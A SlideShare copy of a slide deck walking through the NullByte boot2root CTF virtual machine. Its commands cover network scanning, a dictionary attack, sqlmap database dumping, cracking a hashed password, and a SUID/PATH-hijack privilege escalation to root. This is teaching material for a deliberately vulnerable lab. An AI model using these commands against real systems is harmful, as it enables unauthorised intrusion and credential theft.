SlideShare une entreprise Scribd logo
1  sur  25
Télécharger pour lire hors ligne
EXPLOITING NULL BYTE VM
(CTF CHALLENGE)
BY DEVANSH DUBEY
DATE:21 April 2019
ABOUT ME
 Devansh Dubey
 Volunteer at NULL Bhopal
 Undergoing graduation from UIT RGPV
 Cyber Security enthusiast
 Twitter handle: @devanshdubey97
About Null Byte VM
• Name: NullByte: 1
• Codename: NB0x01
• Date release: 1 Aug 2015
• Author: ly0n
• Series: NullByte
• Web page: http://ly0n.me/2015/08/01/nullbyte-challenge-0x01/?
• Download: ly0n.me/nullbyte/NullByte.ova.zip
• Objective: Get to /root/proof.txt and follow the instructions.
• Level: Basic to intermediate.
• Description: Boot2root, box will get IP from dhcp, works fine with virtualbox
& vmware.
• Operating System: Linux
Our Agenda:
• Network Scanning (Nmap, netdiscover)
• Exacting hidden text from an image obtained from IP(ExifTool)
• Dictionary Attack using rockyou.txt(Burp suite) to obtain key.
• Obtaining Database information via Sqlmap
• Login to SSH on port 777
• Find SUID Binaries
• Privilege Escalation by Manipulating $PATH
• Get Root access and capture the flag(proof.txt)
LETS BEGIN
1. Netdiscover:
Netdiscover is an ARP scanner to scan for live hosts in a range of network.
In the first step we will find the target. We will use netdiscover, which is
command line tool in kali linux to find the target
• Netdiscover –r 172.16.219.0/24
NET
DISCOVER
RESULT
Our target is 172.16.219.142. And now since we know our target, we will scan it using nmap
2. Nmap Scan
• Our target is 172.16.219.142 ,we will scan it using nmap.
• nmap -A 172.16.219.142
-A : For OS detection, version detection,script scanning,and traceroute.
• Scanning the IP, we will know that the port number 80, 111, 777, 44607 are open and the service
of SSH is forwarded from 22 to 777 port. Now we will try and open the targeted IP in the
browser.
NMAP
RESULTS
3. Exiftool:
Here is an image and a quote on the page. We will find nothing on the page and page source. Hence data
can be hidden . To see the hidden data we will use exiftool which is an open source tool available on github.
Available on: https://github.com/exiftool/exiftool
There you will find a comment kzMb5nVYJw. Now this might be a directory so lets open it on browser. On opening
it, we will see a text field which require a KEY.
APPLY
DICTIONARY
ATTACK TO GET
KEY
4. Dictionary Attack
 
• It is asking for a key, since it is a text field we will use the dictionary
attack to find the key using BurpSuite and rockyou.txt. (rockyou.txt
is an wordlist file available in /usr/share/wordlist directory).Through
the dictionary attack, we will find the key i.e. elite.
5. Using Sqlmap :
• Through the dictionary attack we will find the key i.e. elite. After entering the key
in the text field, the new web page will get opened which will be asking for
username, but till now we didn’t knew the username. So, we will find it in its
Database using sqlmap. 
• sqlmap -u http://172.16.219.142/kzMb5nVYJw/420search.php?usrtosearch=1 --
dbs –batch
--batch: never ask for user input, use default behaviour.
--dbs: databases
It will give you the name of the database
i.e. information_schema,mysql,performance_schema,seth.  
6. Now further we will find columns and tables and for
that type:
• sqlmap -u //172.16.219.142/kzMb5nVYJw/420search.php?usrtosearch=1 -D seth --
dump-all –batch
• dump-all : dump all dbms databases entry.
• Once command executes, it will show you the table name along with column and
password as shown:
Now we know username is ramses and password is in encrypted form .
7. Password decoding:
• Now we have username and password but the password is encrypted,
so we need to crack it and there are many online tools to do so.
• First decrypt with base64
• $ echo
“YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE=” |
base64 –d
• Then to crack it go to md5decoder.org and give the md5 value there
and click on ok and it will show you the original word i.e. omega
8. Login through SSH
Now we will SSH to log in and for that type:
• ssh ramses@172.16.219.142 -p 777
• After that give omega as the password. Once we login then by using
the following command, we can enumerate all binaries having SUID
permission.
• find / -perm -u=s -type f 2>/dev/null
• Here we found out that SUID bit enabled for
/var/www/backup/procwatch
SUID ENABLED
9. Privilege Escalation
• cd /var/www/bakcup/
• ./procwatch
Procwatch is security monitor written in Perl that watches a /proc filesystem for
new processes. When a process is created, procwatch reports the time, the
username, the PID, and the binary that was run. Its output is suitable for logging to
log files and is geared for system administrators who are testing a new but as yet
untrusted UNIX system.
Procwatch is root owned that mean the file is running with root priviliges.
10. Privilege Escalation
• echo "/bin/sh"  > ps
• chmod 777 ps
• echo $PATH
• export PATH=.:$PATH
• echo $PATH
• ./procwatch
• Due to ‘.’ in $PATH means that the user is able to execute binaries/scripts from the current
directory. Hence now on executing id command we will find ourselves as root.
• id
• cd /root
• ls
• cat proof.txt
FLAG FOUND!!
REFERENCES
• Website: http://ly0n.me/2015/08/01/nullbyte-challenge-0x01/
• Download: http://ly0n.me/nullbyte/NullByte.ova.zip
• Download (Mirror): https://download.vulnhub.com/nullbyte/NullByte.ova.zip
• Download (Torrent): https://download.vulnhub.com/nullbyte/NullByte.ova.zip.torrent    ( Magnet)?
• https://github.com/Hamza-Megahed/CTFs/blob/master/NullByte/README
• https://www.hackingarticles.in/hack-nullbyte-vm-ctf-challenge/
• https://resources.infosecinstitute.com/nullbyte-walkthrough/#gref
• https://www.thegeekdiary.com/what-is-suid-sgid-and-sticky-bit/
• http://eng.omegaton.com/2017/04/null-byte-report.html
Any Questions……??

Contenu connexe

Tendances

Embedded Rust – Rust on IoT devices
Embedded Rust – Rust on IoT devicesEmbedded Rust – Rust on IoT devices
Embedded Rust – Rust on IoT devicesLars Gregori
 
Why Bundler 1.1 will be much faster
Why Bundler 1.1 will be much fasterWhy Bundler 1.1 will be much faster
Why Bundler 1.1 will be much fasterPat Shaughnessy
 
PHP Benelux 2017 - Caching The Right Way
PHP Benelux 2017 -  Caching The Right WayPHP Benelux 2017 -  Caching The Right Way
PHP Benelux 2017 - Caching The Right WayAndré Rømcke
 
The Unix Command Line | Jim Reevior
The Unix Command Line | Jim ReeviorThe Unix Command Line | Jim Reevior
The Unix Command Line | Jim ReeviorOomph, Inc.
 
Installing BOA on Ubuntu 12.04 LTS
Installing BOA on Ubuntu 12.04 LTSInstalling BOA on Ubuntu 12.04 LTS
Installing BOA on Ubuntu 12.04 LTSHector Iribarne
 
Node js quick tour v2
Node js quick tour v2Node js quick tour v2
Node js quick tour v2Wyatt Fang
 
Building APIs with MVC 6 and OAuth
Building APIs with MVC 6 and OAuthBuilding APIs with MVC 6 and OAuth
Building APIs with MVC 6 and OAuthFilip Ekberg
 
Hack the box open admin writeup
Hack the box open admin writeupHack the box open admin writeup
Hack the box open admin writeuptamlaiyin
 
Vagrant - Team Development made easy
Vagrant - Team Development made easyVagrant - Team Development made easy
Vagrant - Team Development made easyMarco Silva
 
Introduction to Node.js: perspectives from a Drupal dev
Introduction to Node.js: perspectives from a Drupal devIntroduction to Node.js: perspectives from a Drupal dev
Introduction to Node.js: perspectives from a Drupal devmcantelon
 
A language for the Internet: Why JavaScript and Node.js is right for Internet...
A language for the Internet: Why JavaScript and Node.js is right for Internet...A language for the Internet: Why JavaScript and Node.js is right for Internet...
A language for the Internet: Why JavaScript and Node.js is right for Internet...Tom Croucher
 
Intro KaKao MRTE (MySQL Realtime Traffic Emulator)
Intro KaKao MRTE (MySQL Realtime Traffic Emulator)Intro KaKao MRTE (MySQL Realtime Traffic Emulator)
Intro KaKao MRTE (MySQL Realtime Traffic Emulator)I Goo Lee
 
GeekCampSG - Nodejs , Websockets and Realtime Web
GeekCampSG - Nodejs , Websockets and Realtime WebGeekCampSG - Nodejs , Websockets and Realtime Web
GeekCampSG - Nodejs , Websockets and Realtime WebBhagaban Behera
 

Tendances (18)

Embedded Rust – Rust on IoT devices
Embedded Rust – Rust on IoT devicesEmbedded Rust – Rust on IoT devices
Embedded Rust – Rust on IoT devices
 
Why Bundler 1.1 will be much faster
Why Bundler 1.1 will be much fasterWhy Bundler 1.1 will be much faster
Why Bundler 1.1 will be much faster
 
PHP Benelux 2017 - Caching The Right Way
PHP Benelux 2017 -  Caching The Right WayPHP Benelux 2017 -  Caching The Right Way
PHP Benelux 2017 - Caching The Right Way
 
Blowser
BlowserBlowser
Blowser
 
Virtual boxen
Virtual boxenVirtual boxen
Virtual boxen
 
The Unix Command Line | Jim Reevior
The Unix Command Line | Jim ReeviorThe Unix Command Line | Jim Reevior
The Unix Command Line | Jim Reevior
 
Installing BOA on Ubuntu 12.04 LTS
Installing BOA on Ubuntu 12.04 LTSInstalling BOA on Ubuntu 12.04 LTS
Installing BOA on Ubuntu 12.04 LTS
 
Node js quick tour v2
Node js quick tour v2Node js quick tour v2
Node js quick tour v2
 
Building APIs with MVC 6 and OAuth
Building APIs with MVC 6 and OAuthBuilding APIs with MVC 6 and OAuth
Building APIs with MVC 6 and OAuth
 
Hack the box open admin writeup
Hack the box open admin writeupHack the box open admin writeup
Hack the box open admin writeup
 
Squidinstallation
SquidinstallationSquidinstallation
Squidinstallation
 
Red Hat Linux cheat sheet
Red Hat Linux cheat sheetRed Hat Linux cheat sheet
Red Hat Linux cheat sheet
 
Vagrant - Team Development made easy
Vagrant - Team Development made easyVagrant - Team Development made easy
Vagrant - Team Development made easy
 
Hadoop presentation
Hadoop presentationHadoop presentation
Hadoop presentation
 
Introduction to Node.js: perspectives from a Drupal dev
Introduction to Node.js: perspectives from a Drupal devIntroduction to Node.js: perspectives from a Drupal dev
Introduction to Node.js: perspectives from a Drupal dev
 
A language for the Internet: Why JavaScript and Node.js is right for Internet...
A language for the Internet: Why JavaScript and Node.js is right for Internet...A language for the Internet: Why JavaScript and Node.js is right for Internet...
A language for the Internet: Why JavaScript and Node.js is right for Internet...
 
Intro KaKao MRTE (MySQL Realtime Traffic Emulator)
Intro KaKao MRTE (MySQL Realtime Traffic Emulator)Intro KaKao MRTE (MySQL Realtime Traffic Emulator)
Intro KaKao MRTE (MySQL Realtime Traffic Emulator)
 
GeekCampSG - Nodejs , Websockets and Realtime Web
GeekCampSG - Nodejs , Websockets and Realtime WebGeekCampSG - Nodejs , Websockets and Realtime Web
GeekCampSG - Nodejs , Websockets and Realtime Web
 

Similaire à Exploiting null byte vm

Offensive Python for Pentesting
Offensive Python for PentestingOffensive Python for Pentesting
Offensive Python for PentestingMike Felch
 
The Web Application Hackers Toolchain
The Web Application Hackers ToolchainThe Web Application Hackers Toolchain
The Web Application Hackers Toolchainjasonhaddix
 
The basics of hacking and penetration testing 이제 시작이야 해킹과 침투 테스트 kenneth.s.kwon
The basics of hacking and penetration testing 이제 시작이야 해킹과 침투 테스트 kenneth.s.kwonThe basics of hacking and penetration testing 이제 시작이야 해킹과 침투 테스트 kenneth.s.kwon
The basics of hacking and penetration testing 이제 시작이야 해킹과 침투 테스트 kenneth.s.kwonKenneth Kwon
 
Steelcon 2015 - 0wning the internet of trash
Steelcon 2015 - 0wning the internet of trashSteelcon 2015 - 0wning the internet of trash
Steelcon 2015 - 0wning the internet of trashinfodox
 
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...Hackito Ergo Sum
 
OSS Security the hard way
OSS Security the hard wayOSS Security the hard way
OSS Security the hard wayHiroshi SHIBATA
 
How secure is your code?
How secure is your code?How secure is your code?
How secure is your code?Mikee Franklin
 
Playing with fuzz bunch and danderspritz
Playing with fuzz bunch and danderspritzPlaying with fuzz bunch and danderspritz
Playing with fuzz bunch and danderspritzDeepanshu Gajbhiye
 
How to hide your browser 0-days
How to hide your browser 0-daysHow to hide your browser 0-days
How to hide your browser 0-daysZoltan Balazs
 
Boot-To-Root KIOPTRIX Level -1
Boot-To-Root KIOPTRIX Level -1Boot-To-Root KIOPTRIX Level -1
Boot-To-Root KIOPTRIX Level -1Venkat Raman
 
Road to Opscon (Pisa '15) - DevOoops
Road to Opscon (Pisa '15) - DevOoopsRoad to Opscon (Pisa '15) - DevOoops
Road to Opscon (Pisa '15) - DevOoopsGianluca Varisco
 
Weaponizing Recon - Smashing Applications for Security Vulnerabilities & Profits
Weaponizing Recon - Smashing Applications for Security Vulnerabilities & ProfitsWeaponizing Recon - Smashing Applications for Security Vulnerabilities & Profits
Weaponizing Recon - Smashing Applications for Security Vulnerabilities & ProfitsHarsh Bothra
 
On the Edge Systems Administration with Golang
On the Edge Systems Administration with GolangOn the Edge Systems Administration with Golang
On the Edge Systems Administration with GolangChris McEniry
 
Introduction to the intermediate Python - v1.1
Introduction to the intermediate Python - v1.1Introduction to the intermediate Python - v1.1
Introduction to the intermediate Python - v1.1Andrei KUCHARAVY
 
Java Symmetric
Java SymmetricJava Symmetric
Java Symmetricphanleson
 
Columbus WordCamp 2015
Columbus WordCamp 2015Columbus WordCamp 2015
Columbus WordCamp 2015Jason Packer
 
Protect Your Payloads: Modern Keying Techniques
Protect Your Payloads: Modern Keying TechniquesProtect Your Payloads: Modern Keying Techniques
Protect Your Payloads: Modern Keying TechniquesLeo Loobeek
 

Similaire à Exploiting null byte vm (20)

Offensive Python for Pentesting
Offensive Python for PentestingOffensive Python for Pentesting
Offensive Python for Pentesting
 
The Web Application Hackers Toolchain
The Web Application Hackers ToolchainThe Web Application Hackers Toolchain
The Web Application Hackers Toolchain
 
The basics of hacking and penetration testing 이제 시작이야 해킹과 침투 테스트 kenneth.s.kwon
The basics of hacking and penetration testing 이제 시작이야 해킹과 침투 테스트 kenneth.s.kwonThe basics of hacking and penetration testing 이제 시작이야 해킹과 침투 테스트 kenneth.s.kwon
The basics of hacking and penetration testing 이제 시작이야 해킹과 침투 테스트 kenneth.s.kwon
 
Steelcon 2015 - 0wning the internet of trash
Steelcon 2015 - 0wning the internet of trashSteelcon 2015 - 0wning the internet of trash
Steelcon 2015 - 0wning the internet of trash
 
Eusecwest
EusecwestEusecwest
Eusecwest
 
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
 
OSS Security the hard way
OSS Security the hard wayOSS Security the hard way
OSS Security the hard way
 
How secure is your code?
How secure is your code?How secure is your code?
How secure is your code?
 
Playing with fuzz bunch and danderspritz
Playing with fuzz bunch and danderspritzPlaying with fuzz bunch and danderspritz
Playing with fuzz bunch and danderspritz
 
How to hide your browser 0-days
How to hide your browser 0-daysHow to hide your browser 0-days
How to hide your browser 0-days
 
Boot-To-Root KIOPTRIX Level -1
Boot-To-Root KIOPTRIX Level -1Boot-To-Root KIOPTRIX Level -1
Boot-To-Root KIOPTRIX Level -1
 
Scrapy
ScrapyScrapy
Scrapy
 
Road to Opscon (Pisa '15) - DevOoops
Road to Opscon (Pisa '15) - DevOoopsRoad to Opscon (Pisa '15) - DevOoops
Road to Opscon (Pisa '15) - DevOoops
 
Weaponizing Recon - Smashing Applications for Security Vulnerabilities & Profits
Weaponizing Recon - Smashing Applications for Security Vulnerabilities & ProfitsWeaponizing Recon - Smashing Applications for Security Vulnerabilities & Profits
Weaponizing Recon - Smashing Applications for Security Vulnerabilities & Profits
 
On the Edge Systems Administration with Golang
On the Edge Systems Administration with GolangOn the Edge Systems Administration with Golang
On the Edge Systems Administration with Golang
 
Introduction to the intermediate Python - v1.1
Introduction to the intermediate Python - v1.1Introduction to the intermediate Python - v1.1
Introduction to the intermediate Python - v1.1
 
Java Symmetric
Java SymmetricJava Symmetric
Java Symmetric
 
Columbus WordCamp 2015
Columbus WordCamp 2015Columbus WordCamp 2015
Columbus WordCamp 2015
 
Help Doctor, my application is an onion!
Help Doctor, my application is an onion!Help Doctor, my application is an onion!
Help Doctor, my application is an onion!
 
Protect Your Payloads: Modern Keying Techniques
Protect Your Payloads: Modern Keying TechniquesProtect Your Payloads: Modern Keying Techniques
Protect Your Payloads: Modern Keying Techniques
 

Dernier

TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAndrey Devyatkin
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityPrincipled Technologies
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?Igalia
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MIND CTI
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsJoaquim Jorge
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CVKhem
 
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingRepurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingEdi Saputra
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationRadu Cotescu
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherRemote DBA Services
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)Gabriella Davis
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoffsammart93
 
Top 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live StreamsTop 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live StreamsRoshan Dwivedi
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘RTylerCroy
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)wesley chun
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...apidays
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonAnna Loughnan Colquhoun
 

Dernier (20)

TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CV
 
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingRepurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
Top 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live StreamsTop 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live Streams
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 

Exploiting null byte vm

  • 1. EXPLOITING NULL BYTE VM (CTF CHALLENGE) BY DEVANSH DUBEY DATE:21 April 2019
  • 2. ABOUT ME  Devansh Dubey  Volunteer at NULL Bhopal  Undergoing graduation from UIT RGPV  Cyber Security enthusiast  Twitter handle: @devanshdubey97
  • 3. About Null Byte VM • Name: NullByte: 1 • Codename: NB0x01 • Date release: 1 Aug 2015 • Author: ly0n • Series: NullByte • Web page: http://ly0n.me/2015/08/01/nullbyte-challenge-0x01/? • Download: ly0n.me/nullbyte/NullByte.ova.zip • Objective: Get to /root/proof.txt and follow the instructions. • Level: Basic to intermediate. • Description: Boot2root, box will get IP from dhcp, works fine with virtualbox & vmware. • Operating System: Linux
  • 4. Our Agenda: • Network Scanning (Nmap, netdiscover) • Exacting hidden text from an image obtained from IP(ExifTool) • Dictionary Attack using rockyou.txt(Burp suite) to obtain key. • Obtaining Database information via Sqlmap • Login to SSH on port 777 • Find SUID Binaries • Privilege Escalation by Manipulating $PATH • Get Root access and capture the flag(proof.txt)
  • 5. LETS BEGIN 1. Netdiscover: Netdiscover is an ARP scanner to scan for live hosts in a range of network. In the first step we will find the target. We will use netdiscover, which is command line tool in kali linux to find the target • Netdiscover –r 172.16.219.0/24
  • 6. NET DISCOVER RESULT Our target is 172.16.219.142. And now since we know our target, we will scan it using nmap
  • 7. 2. Nmap Scan • Our target is 172.16.219.142 ,we will scan it using nmap. • nmap -A 172.16.219.142 -A : For OS detection, version detection,script scanning,and traceroute. • Scanning the IP, we will know that the port number 80, 111, 777, 44607 are open and the service of SSH is forwarded from 22 to 777 port. Now we will try and open the targeted IP in the browser.
  • 9. 3. Exiftool: Here is an image and a quote on the page. We will find nothing on the page and page source. Hence data can be hidden . To see the hidden data we will use exiftool which is an open source tool available on github. Available on: https://github.com/exiftool/exiftool
  • 10. There you will find a comment kzMb5nVYJw. Now this might be a directory so lets open it on browser. On opening it, we will see a text field which require a KEY.
  • 12. 4. Dictionary Attack   • It is asking for a key, since it is a text field we will use the dictionary attack to find the key using BurpSuite and rockyou.txt. (rockyou.txt is an wordlist file available in /usr/share/wordlist directory).Through the dictionary attack, we will find the key i.e. elite.
  • 13.
  • 14. 5. Using Sqlmap : • Through the dictionary attack we will find the key i.e. elite. After entering the key in the text field, the new web page will get opened which will be asking for username, but till now we didn’t knew the username. So, we will find it in its Database using sqlmap.  • sqlmap -u http://172.16.219.142/kzMb5nVYJw/420search.php?usrtosearch=1 -- dbs –batch --batch: never ask for user input, use default behaviour. --dbs: databases
  • 15. It will give you the name of the database i.e. information_schema,mysql,performance_schema,seth.  
  • 16. 6. Now further we will find columns and tables and for that type: • sqlmap -u //172.16.219.142/kzMb5nVYJw/420search.php?usrtosearch=1 -D seth -- dump-all –batch • dump-all : dump all dbms databases entry. • Once command executes, it will show you the table name along with column and password as shown:
  • 17. Now we know username is ramses and password is in encrypted form .
  • 18. 7. Password decoding: • Now we have username and password but the password is encrypted, so we need to crack it and there are many online tools to do so. • First decrypt with base64 • $ echo “YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE=” | base64 –d • Then to crack it go to md5decoder.org and give the md5 value there and click on ok and it will show you the original word i.e. omega
  • 19. 8. Login through SSH Now we will SSH to log in and for that type: • ssh ramses@172.16.219.142 -p 777 • After that give omega as the password. Once we login then by using the following command, we can enumerate all binaries having SUID permission. • find / -perm -u=s -type f 2>/dev/null • Here we found out that SUID bit enabled for /var/www/backup/procwatch
  • 21. 9. Privilege Escalation • cd /var/www/bakcup/ • ./procwatch Procwatch is security monitor written in Perl that watches a /proc filesystem for new processes. When a process is created, procwatch reports the time, the username, the PID, and the binary that was run. Its output is suitable for logging to log files and is geared for system administrators who are testing a new but as yet untrusted UNIX system. Procwatch is root owned that mean the file is running with root priviliges.
  • 22. 10. Privilege Escalation • echo "/bin/sh"  > ps • chmod 777 ps • echo $PATH • export PATH=.:$PATH • echo $PATH • ./procwatch • Due to ‘.’ in $PATH means that the user is able to execute binaries/scripts from the current directory. Hence now on executing id command we will find ourselves as root. • id • cd /root • ls • cat proof.txt
  • 24. REFERENCES • Website: http://ly0n.me/2015/08/01/nullbyte-challenge-0x01/ • Download: http://ly0n.me/nullbyte/NullByte.ova.zip • Download (Mirror): https://download.vulnhub.com/nullbyte/NullByte.ova.zip • Download (Torrent): https://download.vulnhub.com/nullbyte/NullByte.ova.zip.torrent    ( Magnet)? • https://github.com/Hamza-Megahed/CTFs/blob/master/NullByte/README • https://www.hackingarticles.in/hack-nullbyte-vm-ctf-challenge/ • https://resources.infosecinstitute.com/nullbyte-walkthrough/#gref • https://www.thegeekdiary.com/what-is-suid-sgid-and-sticky-bit/ • http://eng.omegaton.com/2017/04/null-byte-report.html